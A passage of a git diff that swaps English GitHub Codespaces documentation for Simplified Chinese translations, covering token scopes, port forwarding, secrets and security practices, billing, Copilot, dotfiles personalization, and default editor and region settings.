using a web browser or from {% data variables.product.prodname_vscode %}. If you connect from {% data variables.product.prodname_vscode_shortname %}, you are prompted to authenticate with {% data variables.product.product_name %}. +每次创建或重新启动代码空间时,都会为其分配一个具有自动到期期的新 {% data variables.product.company_short %} 令牌。 此时间段允许您在代码空间中工作,而无需在典型的工作日内重新进行身份验证,但降低了在停止使用代码空间时使连接保持打开状态的可能性。 -Every time a codespace is created or restarted, it's assigned a new {% data variables.product.company_short %} token with an automatic expiry period. This period allows you to work in the codespace without needing to reauthenticate during a typical working day, but reduces the chance that you will leave a connection open when you stop using the codespace. +令牌的作用域将根据您对创建代码空间的存储库的访问权限而有所不同: -The token's scope will vary depending on the access you have to the repository where the codespace was created: +- **如果你具有对存储库的写入访问权限**:令牌的作用域将限定为对存储库的读/写访问权限。 +- **如果只对存储库具有读取访问权限**:令牌将仅允许从源存储库克隆代码。 如果尝试推送到只有读取访问权限的私有存储库, {% data variables.product.prodname_codespaces %} 将提示您创建存储库的个人分支。 然后,令牌将被更新为对新的个人复刻具有读/写访问权限。 +- **如果已启用 codespace 以访问其他存储库**:当 codespace 被授予 [对其他存储库的访问权限](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)时,从该存储库创建的任何 codespace 都将具有作用域为源存储库的读/写令牌。 此外,令牌还将获得对用户或组织指示的其他存储库的读取访问权限。 -- **If you have write access to the repository**: The token will be scoped for read/write access to the repository. -- **If you only have read access to the repository**: The token will only allow the code to be cloned from the source repository. If you attempt to push to a private repo where you only have read access, {% data variables.product.prodname_github_codespaces %} will prompt you to create a personal fork of the repository. The token will then be updated to have read/write access to the new personal fork. -- **If you've enabled your codespace to access other repositories**: When a codespace has been granted [access to other repositories](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces), any codespace created from that repository will have read/write tokens scoped to the source repository. In addition, the tokens will also receive read access to other repositories indicated by the user or organization. +组织的管理员指定应将哪些存储库视为受信任。 管理员可以[选择信任](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)全部或部分组织的存储库或不信任任何储存库。 代码空间访问资源的权限不能高于其创建者,即使组织管理员已向所有用户和所有存储库授予访问权限也是如此。 -An organization's administrators specify which repositories should be considered trusted. An admin can [choose to trust](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces) none, all, or some of the organization's repositories. A codespace can't have greater permissions to access resources than the person who created it, even if the organization administrator has granted access to all users and all repositories. +### 代码空间连接 -### Codespace connections +你可以使用 {% data variables.product.prodname_github_codespaces %} 服务提供的 TLS 加密隧道连接到 codespace。 只有代码空间的创建者才能连接到代码空间。 使用 {% data variables.product.product_name %} 对连接进行验证。 -You can connect to your codespace using the TLS encrypted tunnel provided by the {% data variables.product.prodname_github_codespaces %} service. Only the creator of a codespace can connect to a codespace. Connections are authenticated with {% data variables.product.product_name %}. +如果需要允许对代码空间上运行的服务进行外部访问,可以为专用或公共访问启用端口转发。 -If you need to allow external access to services running on a codespace, you can enable port forwarding for private or public access. +### 端口转发 -### Port forwarding +如果需要连接到在代码空间内运行的服务(如开发 Web 服务器),则可以配置端口转发以使该服务在互联网上可用。 -If you need to connect to a service (such as a development web server) running within your codespace, you can configure port forwarding to make the service available on the internet. +组织所有者可以限制公开或在组织内提供转发端口的能力。 有关详细信息,请参阅“[限制转发端口的可见性](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)”。 -Organization owners can restrict the ability to make forward ports available publicly or within the organization. For more information, see "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)." +**专用转发端口**:可通过 Internet 访问,但仅供 codespace 创建者访问(在对 {% data variables.product.product_name %} 进行身份验证后)。 -**Privately forwarded ports**: Are accessible on the internet, but only the codespace creator can access them, after authenticating to {% data variables.product.product_name %}. +**组织内公开转发的端口**:可通过 Internet 访问,但仅供与 codespace 相同组织的成员访问(在对 {% data variables.product.product_name %} 进行身份验证后)。 -**Publicly forwarded ports within your organization**: Are accessible on the internet, but only to members of the same organization as the codespace, after authenticating to {% data variables.product.product_name %}. +**公开转发的端口**:可通过 Internet 访问,Internet 上的任何人都可以访问它们。 访问公共转发的端口不需要身份验证。 -**Publicly forwarded ports**: Are accessible on the internet, and anyone on the internet can access them. No authentication is needed to access public forwarded ports. +默认情况下,所有转发的端口都是私密的,这意味着您需要先进行身份验证,然后才能访问该端口。 对代码空间的私密转发端口的访问由到期时间为 3 小时的身份验证 Cookie 控制。 当 Cookie 过期时,您将需要重新进行身份验证。 -All forwarded ports are private by default, which means that you will need to authenticate before you can access the port. Access to a codespace's private forwarded ports is controlled by authentication cookies with a 3-hour expiry period. When the cookie expires, you will need to reauthenticate. +当您删除并重新添加端口时,或者重新启动代码空间时,公共转发端口将自动恢复为私密端口。 -A public forwarded port will automatically revert back to private when you remove and re-add the port, or if you restart the codespace. +您可以使用“端口”面板为公共或私密访问配置端口,并且可以在不再需要端口转发时停止端口转发。 有关详细信息,请参阅“[在 codespace 中转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)”。 -You can use the "Ports" panel to configure a port for public or private access, and can stop port forwarding when it's no longer required. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +## 代码空间的良好安全实践 -## Good security practices for your codespaces +默认情况下,代码空间设计为加强安全性。 为了帮助保持此状态,我们建议您在开发过程中遵循良好的安全实践: -Codespaces are designed to be security hardened by default. To help maintain this posture, we recommend that you follow good security practices during your development procedures: +- 与任何开发工具一样,请记住,您只应在您了解和信任的存储库中打开和工作。 +- 在将新的依赖项添加到代码空间之前,请检查它们是否维护良好,以及它们是否发布更新以修复其代码中发现的任何安全漏洞。 -- As with any development tool, remember that you should only open and work within repositories you know and trust. -- Before you add new dependencies to the codespace, check whether they are well-maintained, and if they release updates to fix any security vulnerabilities found in their code. +### 使用机密访问敏感信息 -### Using secrets to access sensitive information +如果要在代码空间中使用敏感信息(如访问令牌),请始终使用加密的机密。 您可以在代码空间中以环境变量的形式访问您的机密,包括从终端访问。 例如,你可以在 codespace 中启动终端,并使用 `echo $SECRET_NAME ` 查看机密的值。 -Always use encrypted secrets when you want to use sensitive information (such as access tokens) in a codespace. You can access your secrets as environment variables in the codespace, including from the terminal. For example, you can launch a terminal within your codespace and use `echo $SECRET_NAME ` to see the value of a secret. +每当恢复或创建 codespace 时,机密值都会复制到环境变量中,并且在更改时也会同步。 -The secret values are copied to environment variables whenever the codespace is resumed or created and are also synced when they are changed. +如果没有对 codespace 存储库的写入访问权限,则不会将机密复制到环境中。 -Secrets are not copied into the environment if you don't have write access to the codespace's repository. +有关机密的详细信息,请参阅: +- [管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) +- “[管理 {% data variables.product.prodname_github_codespaces %} 的存储库和组织的加密密码](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces)” -For more information on secrets, see: -- "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" -- "[Managing encrypted secrets for your repository and organization for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces)" +### 使用其他人的贡献和存储库 -### Working with other people's contributions and repositories +从分支的 PR 分支创建代码空间时,代码空间中的令牌将根据存储库是公共的还是私有的而有所不同: +- 对于私有存储库,代码空间被授予对复刻和父级的访问权限。 +- 对于公共存储库,代码空间将只能访问父级上的复刻和打开的 PR。 -When you create a codespace from a PR branch from a fork, the token in the codespace will vary depending on whether the repository is public or private: -- For a private repository, the codespace is granted access to both the fork and parent. -- For a public repository, the codespace will only have access to the fork and opening PRs on the parent. +在这些场景中,我们还通过不向环境中注入任何 [codespace 机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)来进一步保护你。 -We also further protect you in these scenarios by not injecting any of your [codespace secrets](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) into the environment. +### 其他良好做法 -### Additional good practices +使用 {% data variables.product.prodname_codespaces %} 时,还应注意一些其他良好做法和风险。 -There are some additional good practices and risks that you should be aware of when using {% data variables.product.prodname_github_codespaces %}. +#### 了解存储库的 devcontainer.json 文件 -#### Understanding a repository's devcontainer.json file +创建 codespace 时,如果找到存储库的 `devcontainer.json` 文件,则对其进行解析并用于配置你的 codespace。 `devcontainer.json` 文件可以包含强大的功能,例如安装第三方扩展和运行 `postCreateCommand` 中提供的任意代码。 -When you create a codespace, if a `devcontainer.json` file is found for your repository, it is parsed and used to configure your codespace. The `devcontainer.json` file can contain powerful features, such as installing third-party extensions and running arbitrary code supplied in a `postCreateCommand`. +有关详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)”。 -For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." +#### 通过功能授予访问权限 -#### Granting access through features +某些开发功能可能会给您的环境增加风险。 例如,提交签名、注入环境变量的机密、经过身份验证的注册表访问和包访问都可能带来潜在的安全问题。 我们建议您仅向需要访问权限的人员授予访问权限,并采用尽可能严格的策略。 -Certain development features can potentially add risk to your environment. For example, commit signing, secrets injected into environment variables, authenticated registry access, and packages access can all present potential security issues. We recommend that you only grant access to those who need it and adopt a policy of being as restrictive as possible. +#### 使用扩展 -#### Using extensions - -Any additional {% data variables.product.prodname_vscode_shortname %} extensions that you've installed can potentially introduce more risk. To help mitigate this risk, ensure that the you only install trusted extensions, and that they are always kept up to date. +你安装的任何其他 {% data variables.product.prodname_vscode_shortname %} 扩展都可能带来更多风险。 为了帮助降低此风险,请确保仅安装受信任的扩展,并使它们始终保持最新。 diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md new file mode 100644 index 0000000000..9aa3c7a9fc --- /dev/null +++ b/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md @@ -0,0 +1,67 @@ +--- +title: 了解 Codespaces 的计费 +intro: 了解如何对 {% data variables.product.prodname_codespaces %} 的使用进行计费。 +versions: + fpt: '*' + ghec: '*' +redirect_from: +- /github/developing-online-with-codespaces/about-billing-for-codespaces +- /codespaces/getting-started-with-codespaces/about-billing-for-codespaces +- /codespaces/codespaces-reference/about-billing-for-codespaces +type: reference +topics: +- Codespaces +- Billing +product: '{% data reusables.gated-features.codespaces %}' +shortTitle: Understanding billing +ms.openlocfilehash: e8a5b24808e4d1c8dbf216933c1a519c26a46ad4 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145101270" +--- +本文介绍 Codespaces 的计费工作原理,并说明组织的计费管理器如何提供帮助。 + +## 获取对 {% data variables.product.prodname_codespaces %} 的访问 + +组织的管理员可能会将 {% data variables.product.prodname_codespaces %} 的使用限制为仅限特定的个人帐户。 要获得访问权限,您需要联系您的帐单管理员。 有关详细信息,请参阅“[管理 Codespaces 的访问和安全性](/codespaces/managing-your-codespaces/managing-access-and-security-for-your-codespaces)”。 + +## 使用 {% data variables.product.prodname_codespaces %} 的费用 + +若要查看 {% data variables.product.prodname_codespaces %} 使用量的定价,请参阅“[{% data variables.product.prodname_codespaces %} 定价](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)”。 + +## 如何对代码空间的使用计费 + +代码空间将根据其计算分钟数及其在磁盘上使用的存储量付费。 + +如果启用代码空间的预构建,则会产生额外费用。 有关详细信息,请参阅“[关于 Codespaces 预生成](/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds#about-billing-for-codespaces-prebuilds)”。 + +### 了解什么是计算分钟数 +代码空间按其处于活动状态的分钟数计费。 如果代码空间窗口空闲 30 分钟,它将自动关闭,并且代码空间的计算计费将结束,直到您再次启动代码空间。 + +### 了解代码空间存储是如何计费的 +对于 {% data variables.product.prodname_codespaces %},存储定义为包括与代码空间相关的任何文件,例如克隆的存储库、配置文件和扩展等。 此存储在代码空间关闭时计费。 codespace 的存储计费在你将其从 https://github.com/codespaces 中手动删除时结束。 + +## 支出限制的工作原理 + +在组织可以使用 {% data variables.product.prodname_codespaces %} 之前,帐单管理员需要设置支出限制。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)”。 + +## 在达到支出限制时导出更改 + +{% data reusables.codespaces.exporting-changes %} + +## 检查当前使用情况和限制 +如果需要检查当前使用情况或支出限制,请与组织的帐单管理员联系。 有关详细信息,请参阅“[查看 Codespaces 使用情况](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)”。 + +## 代码空间可以自动删除 + +当您从组织或存储库中删除时,您的代码空间将自动删除。 + +## 删除未使用的代码空间 + +你可以在 https://github.com/codespaces 中以及从 {% data variables.product.prodname_vscode %} 中手动删除 codespace。 要减小代码空间的大小,可以使用终端或从 {% data variables.product.prodname_vscode %} 中手动删除文件。 + +## 延伸阅读 + +- “[管理组织中 Codespaces 的计费](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)” diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md new file mode 100644 index 0000000000..bc8ce99daf --- /dev/null +++ b/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md @@ -0,0 +1,68 @@ +--- +title: 了解 GitHub Codespaces 的计费 +intro: 了解如何对 {% data variables.product.prodname_github_codespaces %} 的使用进行计费。 +versions: + fpt: '*' + ghec: '*' +redirect_from: +- /github/developing-online-with-codespaces/about-billing-for-codespaces +- /codespaces/getting-started-with-codespaces/about-billing-for-codespaces +- /codespaces/codespaces-reference/about-billing-for-codespaces +- /codespaces/codespaces-reference/understanding-billing-for-codespaces +type: reference +topics: +- Codespaces +- Billing +product: '{% data reusables.gated-features.codespaces %}' +shortTitle: Understanding billing +ms.openlocfilehash: 2dfec9e452360db117bdee7954fbe4fad2ad1c56 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147111466" +--- +本文介绍 Codespaces 的计费工作原理,并说明组织的计费管理器如何提供帮助。 + +## 获取对 {% data variables.product.prodname_github_codespaces %} 的访问 + +组织的管理员可能会将 {% data variables.product.prodname_github_codespaces %} 的使用限制为仅限特定的个人帐户。 要获得访问权限,您需要联系您的帐单管理员。 有关详细信息,请参阅“[管理 Codespaces 的访问和安全性](/codespaces/managing-your-codespaces/managing-access-and-security-for-your-codespaces)”。 + +## 使用 {% data variables.product.prodname_codespaces %} 的费用 + +若要查看 {% data variables.product.prodname_codespaces %} 使用量的定价,请参阅“[{% data variables.product.prodname_codespaces %} 定价](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)”。 + +## 如何对代码空间的使用计费 + +代码空间将根据其计算分钟数及其在磁盘上使用的存储量付费。 + +如果启用代码空间的预构建,则会产生额外费用。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_github_codespaces %} 预生成](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds#about-billing-for-codespaces-prebuilds)”。 + +### 了解什么是计算分钟数 +代码空间按其处于活动状态的分钟数计费。 如果代码空间窗口空闲 30 分钟,它将自动关闭,并且代码空间的计算计费将结束,直到您再次启动代码空间。 + +### 了解代码空间存储是如何计费的 +对于 {% data variables.product.prodname_github_codespaces %},存储定义为包括与 codespace 相关的任何文件,例如克隆的存储库、配置文件和扩展等。 此存储在代码空间关闭时计费。 codespace 的存储计费在你将其从 https://github.com/codespaces 中手动删除时结束。 + +## 支出限制的工作原理 + +在组织可以使用 {% data variables.product.prodname_codespaces %} 之前,帐单管理员需要设置支出限制。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_github_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)”。 + +## 在达到支出限制时导出更改 + +{% data reusables.codespaces.exporting-changes %} + +## 检查当前使用情况和限制 +如果需要检查当前使用情况或支出限制,请与组织的帐单管理员联系。 有关详细信息,请参阅“[查看 {% data variables.product.prodname_github_codespaces %} 使用情况](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)”。 + +## 代码空间可以自动删除 + +当您从组织或存储库中删除时,您的代码空间将自动删除。 + +## 删除未使用的代码空间 + +你可以在 https://github.com/codespaces 中以及从 {% data variables.product.prodname_vscode %} 中手动删除 codespace。 要减小代码空间的大小,可以使用终端或从 {% data variables.product.prodname_vscode %} 中手动删除文件。 + +## 延伸阅读 + +- “[管理组织中的 {% data variables.product.prodname_github_codespaces %} 计费](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization)” diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/using-github-copilot-in-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/using-github-copilot-in-codespaces.md new file mode 100644 index 0000000000..54c078bf9c --- /dev/null +++ b/translations/zh-CN/content/codespaces/codespaces-reference/using-github-copilot-in-codespaces.md @@ -0,0 +1,28 @@ +--- +title: 在 Codespaces 中使用 GitHub Copilot +intro: 您可以通过添加扩展在 Codespaces 中使用 Copilot。 +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Codespaces +- Copilot +- Visual Studio Code +product: '{% data reusables.gated-features.codespaces %}' +shortTitle: Copilot in Codespaces +redirect_from: +- /codespaces/codespaces-reference/using-copilot-in-codespaces +ms.openlocfilehash: 05e8779688b2136c7fd53a1cebd99fd75b531f2c +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145149338" +--- +## 使用 {% data variables.product.prodname_copilot %} + +[{% data variables.product.prodname_copilot %}](https://copilot.github.com/) 是 AI 结对程序员,可用于任何 codespace。 若要开始在 {% data variables.product.prodname_codespaces %} 中使用 {% data variables.product.prodname_copilot_short %},请安装 [{% data variables.product.prodname_vscode_marketplace %} 市场中的 {% data variables.product.prodname_copilot_short %} 扩展](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot)。 + +若要在所有 codespace 中包含 {% data variables.product.prodname_copilot_short %} 或其他扩展,请启用设置同步。有关详细信息,请参阅“[为帐户个性化 {% data variables.product.prodname_codespaces %}](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)”。 此外,若要在所有用户的给定项目中加入 {% data variables.product.prodname_copilot_short %},可以将 `GitHub.copilot` 指定为 `devcontainer.json` 文件中的扩展。 有关配置 `devcontainer.json` 文件的信息,请参阅“[开发容器简介](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)”。 + diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md new file mode 100644 index 0000000000..b109cac2d8 --- /dev/null +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md @@ -0,0 +1,107 @@ +--- +title: 个性化您账户的 Codespaces +shortTitle: Personalize your codespaces +intro: 你可以通过使用 {% data variables.product.product_name %} 上的 `dotfiles` 存储库或使用设置同步来个性化 {% data variables.product.prodname_codespaces %}。 +redirect_from: +- /github/developing-online-with-github-codespaces/personalizing-github-codespaces-for-your-account +- /github/developing-online-with-codespaces/personalizing-codespaces-for-your-account +- /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Codespaces +- Set up +- Fundamentals +product: '{% data reusables.gated-features.codespaces %}' +ms.openlocfilehash: 2c136318f3eff0a8caed8900520b8eb8a7772add +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146681347" +--- +## 关于个性化 {% data variables.product.prodname_codespaces %} + +在使用任何开发环境时,根据您的喜好和工作流程自定义设置和工具是一个重要步骤。 {% data variables.product.prodname_codespaces %} 允许两种主要方法个性化您的代码空间。 + +- [设置同步](#settings-sync) - 可以在 {% data variables.product.prodname_codespaces %} 与其他 {% data variables.product.prodname_vscode %} 实例之间使用和共享 {% data variables.product.prodname_vscode %} 设置。 +- [Dotfiles](#dotfiles) - 可以使用 `dotfiles` 存储库指定脚本、shell 首选项和其他配置。 + +{% data variables.product.prodname_codespaces %} 个性化适用于您创建的任何代码空间。 + +项目维护员还可以定义默认配置,将应用到任何人创建的仓库的每个代码空间。 有关详细信息,请参阅“[为项目配置 {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)”。 + +## 设置同步 + +设置同步允许您在机器和 {% data variables.product.prodname_vscode %} 实例中共享配置,如设置、键盘快捷方式、片段、扩展和 UI 状态。 + +要启用设置同步,在活动栏的左下角,选择 {% octicon "gear" aria-label="The gear icon" %} 并单击“打开设置同步...”。 在对话框中,选择要同步的设置。 + +![在管理菜单中设置同步选项](/assets/images/help/codespaces/codespaces-manage-settings-sync.png) + +有关详细信息,请参阅 {% data variables.product.prodname_vscode %} 文档中的[设置同步指南](https://code.visualstudio.com/docs/editor/settings-sync)。 + +## Dotfiles + +Dotfiles 是类似 Unix 的系统上以 `.` 开头的文件和文件夹,用于控制系统上应用程序和 shell 的配置。 您可以在 {% data variables.product.prodname_dotcom %} 上的仓库中存储和管理 dotfiles。 有关 dotfiles 存储库中所含内容的建议和教程,请参阅 [GitHub 执行 dotfiles](https://dotfiles.github.io/)。 + +dotfiles 仓库可能包括 shell 别名和首选项、您想要安装的任何工具或您想要执行的任何其他代码个性化。 + +可以通过在[个人 {% data variables.product.prodname_codespaces %} 设置](https://github.com/settings/codespaces)中选择存储库,将 {% data variables.product.prodname_codespaces %} 配置为使用你拥有的任何存储库中的 dotfiles。 + +创建新的代码空间时,{% data variables.product.prodname_dotcom %} 会将所选存储库克隆到代码空间环境,并查找以下文件之一来设置环境。 + +* install.sh +* _install_ +* bootstrap.sh +* _bootstrap_ +* script/bootstrap +* _setup.sh_ +* setup +* script/setup + +如果未找到这些文件,则所选 dotfiles 存储库中以 `.` 开头的文件或文件夹通过符号链接到代码空间的 `~` 或 `$HOME` 目录。 + +对所选 dotfiles 仓库所做的任何更改只会应用到每个新的代码空间,而不影响任何现有的代码空间。 + +{% note %} + +注意:目前,{% data variables.product.prodname_codespaces %} 不支持使用 `dotfiles` 存储库个性化 {% data variables.product.prodname_vscode %} 编辑器的用户设置。 可以为项目存储库中的特定项目设置默认“工作区”和“远程 [Codespaces]”设置。 有关详细信息,请参阅“[开发容器简介](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)”。 + +{% endnote %} + +### 为 {% data variables.product.prodname_codespaces %} 启用 dotfiles 存储库 + +您可以使用所选的 dotfiles 存储库来个性化您的 {% data variables.product.prodname_codespaces %} 环境。 选择 dotfiles 存储库后,可以向其中添加脚本、首选项和配置。 然后,您需要从个人 {% data variables.product.prodname_codespaces %} 设置页面启用 dotfiles。 + +{% warning %} + +警告:Dotfiles 能够运行任意脚本,这些脚本可能包含意外或恶意代码。 在安装 dotfiles 存储库之前,我们建议检查脚本以确保它们不会执行任何意外操作。 + +{% endwarning %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. 在“Dotfiles”下,选择“自动安装 dotfiles”,以便 {% data variables.product.prodname_codespaces %} 自动将 dotfiles 安装到你创建的每个新 codespace 中。 + ![安装 dotfiles](/assets/images/help/codespaces/install-custom-dotfiles.png) +2. 选择要从中安装 dotfile 的存储库。 + ![选择 dotfiles 存储库](/assets/images/help/codespaces/select-dotfiles-repo.png) + +您可以随时将更多脚本、首选项、配置文件添加到 dotfiles 存储库或编辑现有文件。 对设置的更改将仅由新的代码空间选取。 + +如果 codespace 无法从 dotfiles 中选取配置设置,请参阅“[排查 {% data variables.product.prodname_codespaces %} 的 dotfiles 问题](/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces)”。 + +## 其他可用设置 + +还可以使用其他 [{% data variables.product.prodname_codespaces %} 设置](https://github.com/settings/codespaces)对 {% data variables.product.prodname_codespaces %} 进行个性化设置: + +- 若要设置默认区域,请参阅“[为 {% data variables.product.prodname_codespaces %} 设置默认区域](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)”。 +- 若要设置编辑器,请参阅“[为 {% data variables.product.prodname_codespaces %} 设置默认编辑器](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)”。 +- 若要添加加密的机密,请参阅“[管理 {% data variables.product.prodname_codespaces %} 的加密机密](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces)”。 +- 若要启用 GPG 验证,请参阅“[管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)”。 +- 若要允许 codespace 访问其他存储库,请参阅“[管理 {% data variables.product.prodname_codespaces %} 的访问和安全性](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)”。 + +## 延伸阅读 + +* [创建新存储库](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository) diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md new file mode 100644 index 0000000000..696cf44590 --- /dev/null +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md @@ -0,0 +1,30 @@ +--- +title: 设置 Codespaces 的默认编辑器 +shortTitle: Set the default editor +intro: 您可以在个人设置页面中设置 {% data variables.product.prodname_codespaces %} 的默认编辑器。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: +- /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces +topics: +- Codespaces +type: how_to +ms.openlocfilehash: 3c2fe809a749244efd8ffe76cde31646f984bea3 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146681291" +--- +在设置页面上,您可以设置编辑器首选项,以便在 Web 或 {% data variables.product.prodname_vscode %} 桌面应用程序的 {% data variables.product.prodname_vscode %} 中自动打开任何新创建的代码空间。 + +如果要将 {% data variables.product.prodname_vscode %} 用作 {% data variables.product.prodname_codespaces %} 的默认编辑器,则需要安装 {% data variables.product.prodname_vscode %} 和 {% data variables.product.prodname_vscode %} 的 {% data variables.product.prodname_github_codespaces %} 扩展。 有关详细信息,请参阅 [{% data variables.product.prodname_vscode %} 的下载页](https://code.visualstudio.com/download/)和 [{% data variables.product.prodname_vscode %} 市场中的 {% data variables.product.prodname_github_codespaces %} 扩展](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces)。 + +## 设置默认编辑器 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. 在“Editor preference(编辑器首选项)”下,选择所需的选项。 + ![设置编辑器](/assets/images/help/codespaces/select-default-editor.png) 如果选择 {% data variables.product.prodname_vscode %},在下次创建 codespace 时,{% data variables.product.prodname_codespaces %} 将自动在桌面应用程序中打开。 您可能需要同时允许访问浏览器和 {% data variables.product.prodname_vscode %} 才能成功打开。 + ![设置编辑器](/assets/images/help/codespaces/launch-default-editor.png) diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md new file mode 100644 index 0000000000..9ff6156cb9 --- /dev/null +++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md @@ -0,0 +1,28 @@ +--- +title: 设置 Codespaces 的默认区域 +shortTitle: Set the default region +intro: 您可以在 {% data variables.product.prodname_github_codespaces %} 配置文件设置页面中设置默认地区,以个性化您的数据保存位置。 +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: +- /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces +topics: +- Codespaces +type: how_to +ms.openlocfilehash: 48d2838060953b5718eda19748f72244a06941dd +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146688963" +--- +您可以手动选择将在其中创建代码空间的区域,从而满足严格的安全性和合规性要求。 默认情况下,系统会根据您的位置自动设置您的区域。 + +## 设置默认区域 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. 在“Region(区域)”下,选择所需的设置。 +2. 如果选择“Set manually(手动设置)”,请在下拉列表中选择您的区域。 + ![选择区域](/assets/images/help/codespaces/select-default-region.png) diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md new file mode 100644 index 0000000000..5bc6dec136 --- /dev/null +++ 